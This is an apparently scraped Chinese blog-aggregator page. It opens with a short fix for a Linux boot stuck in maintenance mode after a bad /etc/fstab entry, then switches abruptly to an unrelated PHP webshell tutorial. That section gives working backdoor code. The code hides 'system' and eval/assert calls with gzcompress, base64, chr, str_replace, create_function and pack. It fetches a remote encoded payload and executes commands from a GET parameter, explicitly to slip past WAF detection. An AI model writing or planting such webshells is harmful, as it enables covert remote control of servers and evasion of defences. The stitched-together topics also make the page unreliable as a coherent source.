System assertion :Press Enter for maintenance (or press Control-D to continue):2018-07-12
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了System assertion :Press Enter for maintenance (or press Control-D to continue):2018-07-12相关的知识,希望对你有一定的参考价值。
参考技术A 原因:由于不正确的关机或其他原因导致系统文件出现错误,从而系统会检测磁盘的过程中会检测到该错误并进入到上图这界面,我们可以通过recovery-mode的系统模式中的(fsck)来确定问题出现在那个磁盘上,本文出现的地方如下:解决方法:本文在解决过程中借鉴了其他博客的解决方法,方法如下:
由于错误的编辑/etc/fstab文件 而引起的不能正常进入系统。假如你将某一个分区或者磁盘最后一个参数设置为1或2时,系统默认会在开机过程中检查这个磁盘的扇区。假如系统检查不到这个磁盘,或者这个磁盘根本检测不到(尤其是在网络存储时)那么系统就会报错,导致出现这种情况。
解决办法:输入root密码,此时整个文件系统是只读系统,不能进行修改文件,首先利用下面的命令将文件系统改为可写的文件系统:
mount -o remount,rw /
然后将对应出错的磁盘注释掉,或者将最后面的参数改成0 。 然后退出保存,最后reboot即可。
引文:https://blog.csdn.net/hehe123456zxc/article/details/52255017
以上是本作者为了解决问题所提出的建议,不见得都能适用,但是基本能够解决问题,如果有什么不正确的地方,请在下方评论区留言,本文章仅代表作者本人意见!
php webshell常见函数
0x1
直接在字符串变量后面加括号, 会调用这个函数:
<?php
$s = \'system\';
$e = \'assert\';
$s(\'whoami\');
$e(\'phpinfo();\');
0x2
执行命令常用的函数有:
system(\'命令\')
eval(\'php code\')
assert(\'php code\')
这三个最常用
0x3
base64_encode/base64_decode
<?php
$b = base64_encode(\'whoami\');
echo $b.\'<br />\';
echo base64_decode($b).\'<br />\';
0x4
gzcompress/gzuncompress 压缩数据
<?php
$c = gzcompress(\'whoami\');
echo $c.\'<br>\';
echo gzuncompress($c)."<br />";
0x5
从上面的命令执行, base64加解64编码与gz压缩, 我们可以写一个这样的后门。
先把后门压缩, 再把后门base64_encode(base64编码后防止字符原因代码出错)。
如果后门是一个php代码的话, 在最后我们可以用assert或eval执行它。
在php中, 有一个这样的函数:
file_get_contents(url)
用这个函数可以远程获取文件内容保存到变量中:
$shell = file_get_contents(\'http://localhost/shell.jpg\')
开始测试, 从最简单例子开始。
制作gzcompress与base64_encode编码过的文件:
<?php
$c = \'system\';
$data = gzcompress($c);
$file_data = base64_encode($data);
echo $file_data;
fwrite(fopen(\'shell.txt\', \'w\'), $file_data);
这样我们就创了一个压缩后再64编码的system字符串
使用:
<?php
$c = file_get_contents(\'http://localhost/shell.txt\');
#获取数据
$s = gzuncompress(base64_decode($c));
#解密数据
$s($_GET[session]);
#执行命令
那么问题来了, 我们为什么要转了一大圈再回来呢?
原因很简单, 就是你压缩后的数据, 有可能一些WAF并不会检测到内容存在危险。
0x6
ascii转码函数: chr/ord
<?php
$str = \'system\';
for($count = 0; $count < strlen($str); $count++){
echo substr($str, $count, 1).\'~\'.ord(substr($str, $count, 1)).\'<br />\';
}
/*
s~115
y~121
s~115
t~116
e~101
m~109*/
0x7
str_replace字符替换函数:
<?php $s = str_replace(\'p\',\'\',\'pspypsptpepmp\'); echo $s;
#system
0x8
create_fuction()创建匿名函数:
<?php
#create_function(\'参数列表\', \'php代码字符串\');
$info = create_function(\'\',\'phpinfo();\');
$info();
0x9
pack函数
pack(\'格式\', 十六进制字符串)
pack函数有点复杂, 但不常用, 如果你要把一个十六进制转成字符, 可以这样:
<?php
$x = bin2hex(\'system\');
$s = PACK(\'H*\', $x);
echo $s.\'<br />\';
$s(\'whoami\');
pack关键用法就是, 我们可以把一些第感的函数, 先转成16进制, 再 pack回来。
比如, create_function(\'\', $shell)中, $shell为php code代码, 我们可以在php code中利用隐藏一些敏感函数。
<?php
$shell=PACK(\'H*\',\'2470617373776F72643D27\').$password.
PACK(\'H*\',\'273B247368656C6C6E616D653D27\').$Username.
PACK(\'H*\',\'273B246D7975726C3D27\').$Url.
PACK(\'H*\',\'273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827\').\'
eJzs/Xt3HNd5Jor/zazl71Buw2rAwqXu1UUQsOpKgheABEBSlK
iD02g0gCYaaKi7QYCi+GEczZxoHM+KJetiWzdbkmNZsi1FkmXH
yzOT8WQyk/HPcybJTJKZJLN+z7N3VXVVX0BQtpPJOoZEoLtq3/
d73+/77tb6WqdbbXfHJ2Y/8zsb9c3GXn28vHunurHRrnc65cmx
tZVo+Vq0/Hh5JVheuLy6Fi9cjBa9S1H5iXyN/Vanu18VFfjnsN
XeyL/ubNebzb3qbh3vs8/FHg/aTbwUf/misTn+yFa9u7Zb3WrU
.......
$f = create_function(\'\', $shell);
$f();
pack用法可以参孝一下这里: perl pack
总结
创建一个gz压缩再base64编码的文件(如 logo.png), 利用file_get_contents获取。
利用str_replace/chr/ord/create_fuction函数绕过一些WAF检测。
以上是关于System assertion :Press Enter for maintenance (or press Control-D to continue):2018-07-12的主要内容,如果未能解决你的问题,请参考以下文章
开机显示Error1962:No operating system found.Press any key to repeat boot sequence.
failed to retrieve system area,,press any key 是啥意思 每次开机 都显示该项目 不按下就开不了机
System Verilog Assertion for debug